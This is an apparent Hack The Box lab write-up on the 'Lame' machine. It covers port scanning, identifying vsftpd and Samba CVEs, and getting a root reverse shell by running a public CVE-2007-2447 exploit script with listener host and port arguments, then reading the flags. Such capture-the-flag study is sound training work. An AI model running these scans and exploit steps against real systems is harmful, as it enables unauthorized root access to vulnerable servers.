HTB — Lame

1. Reconnaissance

Full port scan

bash

nmap -p- --min-rate 5000 10.129.87.55

Result:

• 21/tcp — open — FTP
• 22/tcp — open — SSH
• 139/tcp — open — netbios-ssn
• 445/tcp — open — microsoft-ds
• 3632/tcp — open — distccd

Service/version scan

bash

nmap -A -p 21,22,139,445,3632 10.129.87.55

Result:

Additional SMB info:

• Computer name: lame
• Domain: hackthebox.gr
• Message signing: disabled
• Clock skew noted (~2h) — environment artifact, not exploited

2. Service-by-Service Triage

FTP — port 21

• vsftpd 2.3.4, anonymous login allowed → logged in, nothing of interest found
• Version is associated with CVE-2011–2523 (the well-known vsftpd 2.3.4 backdoor)
• Attempted exploitation → no result this time (backdoor trigger didn’t yield a shell)

Get Cryx’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Samba — ports 139/445

Two relevant CVEs identified for the two different Samba version bands reported:

• 139/tcp (Samba 3.X–4.X) → CVE-2017-7494 (SambaCry — RCE via writable share)
• 445/tcp (Samba 3.0.20-Debian) → CVE-2007-2447 (usermap_script — remote command injection via username field)

3. Exploitation — CVE-2007–2447 (Samba usermap_script)

Reference exploit: https://github.com/amriunix/CVE-2007-2447

Steps

1. Cloned/downloaded the exploit script from the repo above (usermap_script.py)
2. Set up a listener and ran:

bash

python usermap_script.py <RHOST> <RPORT> <LHOST> <LPORT>

1. ✅ Got a shell — and it came back as root directly (no privesc needed)

Flag capture

bash

find . -name user.txt -exec cat {} \;
find . -name root.txt -exec cat {} \;

✅ Both flags retrieved.

4. Flags

Key Takeaways

• Always version-match every open port separately — Lame reports two different Samba version bands on 139 vs 445, each pointing to a different CVE.
• CVE-2007–2447 (usermap_script) exploits a flaw in Samba's username map script config option, injecting shell metacharacters into the login username — no authentication required, and it drops straight into a root shell since smbd ran as root here.
• vsftpd 2.3.4’s known backdoor (CVE-2011–2523) is a classic “check it even if it looks unlikely” — it didn’t pay off this time, which is a normal outcome, not a dead end worth dwelling on.
• A fast root like this is typical of older/legacy boxes — worth noting technique over difficulty for your own review later.